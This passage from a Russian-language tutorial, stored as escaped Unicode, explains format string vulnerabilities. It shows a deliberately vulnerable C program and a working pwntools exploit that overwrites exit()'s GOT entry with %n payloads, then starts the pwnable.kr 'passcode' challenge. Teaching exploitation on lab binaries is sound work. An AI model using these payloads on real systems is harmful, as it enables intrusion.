\u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u0435 \u0431\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0447\u0438\u0441\u043b\u043e, x \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b (abcdef), X \u0431\u043e\u043b\u044c\u0448\u0438\u0435 (ABCDEF), \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e sizeof( int );<\/li>\n<li>s \u2014 \u0432\u044b\u0432\u043e\u0434 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u043c \u0431\u0430\u0439\u0442\u043e\u043c;<\/li>\n<li>n \u2014 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0439 n.<\/li>\n<\/ul>\n<p>  <\/p>\n<h2>\u041f\u043e\u0447\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 <\/h2>\n<p>  \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u0431\u0435\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 (\u043a\u0430\u043a \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435). \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u0441\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u043c \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0432\u043e\u0434\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430, \u0430 \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430, \u0438 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c.<br \/>  <cut><\/cut><br \/>  \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435:<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt;  int main(){    char input[100];    printf(\"Start program!!!\\n\");    printf(\"Input: \");    scanf(\"%s\", &amp;input);    printf(\"\\nYour input: \");    printf(input);    printf(\"\\n\");    exit(0); }<\/code><\/pre>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0432\u043e\u0434\u0430.<\/p>\n<pre><code class=\"cpp\">printf(input);<\/code><\/pre>\n<p>  \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443.<\/p>\n<pre><code class=\"bash\">gcc vuln1.c -o vuln -no-pie<\/code><\/pre>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0441\u0442\u0435\u043a\u0435, \u0432\u0432\u0435\u0434\u044f \u0441\u0442\u0440\u043e\u043a\u0443, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/i9\/ib\/es\/i9ibeshbd2zhx5zmza0gxoegc-e.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 printf(input) \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0437\u043e\u0432:<\/p>\n<pre><code class=\"cpp\">printf(\u201c%p-%p-%p-%p-%p\u201c);<\/code><\/pre>\n<p>  \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043d\u044f\u0442\u044c \u0447\u0442\u043e \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430. \u0424\u0443\u043d\u043a\u0446\u0438\u044f printf \u0438\u043c\u0435\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. <\/p>\n<p>  \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438:<\/p>\n<pre><code class=\"cpp\">printf(\u201cNumber - %d, addres - %08x, string - %s\u201d, a, &amp;b, c);<\/code><\/pre>\n<p>  \u041f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u0442\u0435\u043a \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vo\/rj\/n2\/vorjn2194dvix4kr4mmzutja890.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0438 \u0441\u0442\u0435\u043a\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435. \u0422\u043e\u0447\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437 \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u0442 5 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/uj\/_j\/vc\/uj_jvcokc0m81teugsjel-ovzsk.png\" alt=\"image\"><\/p>\n<p>  \u0414\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u0435 \u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u0439\u0434\u0435\u043c \u043d\u0430\u0448\u0443 \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 \u0441\u0442\u0435\u043a\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tm\/og\/pm\/tmogpmxoiospc4wwcybi3daw-3u.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 hex-\u0432\u0438\u0434\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u201c%-p%AAAA\u201c. \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u0441\u0442\u0435\u043a\u0430.<\/p>\n<h2>\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c GOT<\/h2>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 GOT \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0446\u0438\u043a\u043b\u0438\u043c \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0432 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 exit() \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 main. \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0431\u0443\u0434\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pwntools. \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u043a\u0435\u0442 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043c \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u0432\u0432\u043e\u0434.<\/p>\n<pre><code class=\"python\">from pwn import * from struct import *  ex = process('.\/vuln')  payload = \"AAAA%p-%p-%p-%p-%p-%p-%p-%p\"  ex.sendline(payload)  ex.interactive()<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ln\/ej\/lh\/lnejlh85r86iny9le7wepst28mo.png\" alt=\"image\"><\/p>\n<p>  \u041d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u043d\u044b\u043c, \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0430 \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.<\/p>\n<pre><code class=\"python\">payload = (\"%p-%p-%p-%p\"*5).ljust(64, \u201d*\u201d)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/h8\/sg\/wg\/h8sgwghgqjftpqreusafipcpz0s.png\" alt=\"image\"><\/p>\n<pre><code class=\"python\">payload = (\"%p-%p-%p-%p\").ljust(64, \u201d*\u201d)<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gj\/bw\/d-\/gjbwd-9aigcck02hc2k9og5nfve.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0437\u043d\u0430\u0442\u044c GOT \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 exit(), \u0438 \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main. \u0410\u0434\u0440\u0435\u0441 main \u043d\u0430\u0439\u0434\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e gdb.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fp\/bm\/nn\/fpbmnn6xs2bquxngua1igncslnm.png\" alt=\"image\"><\/p>\n<p>  GOT \u0430\u0434\u0440\u0435\u0441 exit() \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e gdb, \u0442\u0430\u043a \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e objdump.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_a\/2o\/pm\/_a2opmke0_snnf_hczyzh0xtl64.png\" alt=\"image\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qj\/dj\/yp\/qjdjypxsia_iz1clauydnmtwdgy.png\" alt=\"image\"><\/p>\n<pre><code class=\"bash\">objdump -R vuln<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sf\/of\/qo\/sfofqo2pj9dyvb57yf9hsdc1uw8.png\" alt=\"image\"><\/p>\n<p>  \u0417\u0430\u043f\u0438\u0448\u0435\u043c \u0432 \u043d\u0430\u0448\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u044d\u0442\u0438 \u0430\u0434\u0440\u0435\u0441\u0430.<\/p>\n<pre><code class=\"python\">main_addr = 0x401162 exit_addr = 0x404038<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441. \u0414\u043b\u044f \u0432 \u0441\u0442\u0435\u043a \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 exit() \u0438 \u0430\u0434\u0440\u0435\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435, \u0442.\u0435. *(exit())+1 \u0438 \u0442.\u0434. \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<pre><code class=\"python\">payload = (\"%p-%p-%p-%p-\"*5).ljust(64, \"*\") payload += pack(\"Q\", exit_addr) payload += pack(\"Q\", exit_addr+1)<\/code><\/pre>\n<p>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c, \u043a\u0430\u043a\u0438\u043c \u043f\u043e \u0441\u0447\u0435\u0442\u0443 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/_f\/pg\/cj\/_fpgcjghcjfywqnhdh8qd1mc1ak.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f\u0445 14 \u0438 15. \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.<\/p>\n<pre><code class=\"python\">payload = (\"%14$p\").ljust(64, \"*\")<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xl\/ss\/3u\/xlss3uiye9rnbwz9jxmn5skxcry.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0431\u0443\u0434\u0435\u043c \u0434\u0432\u0443\u043c\u044f \u0431\u043b\u043e\u043a\u0430\u043c\u0438. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u0432\u0435\u0434\u0435\u043c 4 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430 2-\u0439 \u0438 4-\u0439 \u043f\u043e\u0437\u0438\u0446\u0438\u044f\u0445 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0430\u0448\u0438 \u0430\u0434\u0440\u0435\u0441\u0430.<\/p>\n<pre><code class=\"python\">payload = (\"%p%14$p%p%15$p\").ljust(64, \"*\")<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yw\/sy\/py\/ywsypywco_6skjhhsw1qr40bupc.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0437\u043e\u0431\u044c\u0435\u043c \u0430\u0434\u0440\u0435\u0441 main() \u043d\u0430 \u0434\u0432\u0430 \u0431\u043b\u043e\u043a\u0430:  <\/p>\n<blockquote><p>0x401162<\/p>\n<p>  1) 0x62 = 98 (\u043f\u0438\u0448\u0435\u043c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x404038) <br \/>  2) 0x4011 \u2014 0x62 = 16303 (\u043f\u0438\u0448\u0435\u043c \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x404039) <\/p><\/blockquote>\n<p>  \u0417\u0430\u043f\u0438\u0448\u0435\u043c \u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"python\">payload = (\"%98p%14$n%16303p%15$n\").ljust(64, '*')<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"python\">from pwn import * from struct import *  start_addr = 0x401162 exit_addr = 0x404038  ex = process('.\/vuln')  payload = (\"%98p%14$n%16303p%15$n\").ljust(64, '*') payload += pack(\"Q\", exit_addr) payload += pack(\"Q\", exit_addr+1)  ex.sendline(payload)  ex.interactive()<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qi\/vg\/vr\/qivgvrhzkucvpzfs6s-zwftuuhk.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e. \u041c\u044b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 exit().<\/p>\n<h2>\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f passcode <\/h2>\n<p>  \u041d\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043d\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u0438\u043a\u043e\u043d\u043a\u0443 \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e passcode, \u0438 \u043d\u0430\u043c \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043f\u043e SSH \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c guest.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/h2\/jc\/tj\/h2jctjxsee5hardpu6glunfg2fk.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0431\u0430\u043d\u043d\u0435\u0440.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/-a\/me\/pp\/-ameppolfflavwiv35qbkkgvg-8.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0443\u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0435\u0441\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u043a\u0438\u0435 \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u0440\u0430\u0432\u0430.<\/p>\n<pre><code class=\"bash\">ls -l<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ds\/2m\/gv\/ds2mgvxu30ah53peas04_wypwja.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0442\u0430\u043a \u043a\u0430\u043a \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0441\u0435\u0445, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 fd (\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d sticky-\u0431\u0438\u0442). \u0414\u0430\u0432\u0430\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0445\u043e\u0434 \u043a\u043e\u0434.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ld\/mj\/wr\/ldmjwru5rsabi6jyr9o8rrbt2ps.png\" alt=\"image\"><\/p>\n<p>  \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 login() \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430. \u0412 scanf() \u0432\u0442\u043e\u0440\u044b\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 &amp;passcode1, \u0430 \u0441\u0430\u043c\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f, \u043f\u0440\u0438\u0447\u0435\u043c \u043d\u0435 \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430, \u0442\u043e \u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u201c\u043c\u0443\u0441\u043e\u0440\u201d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u043b\u044b\u0445 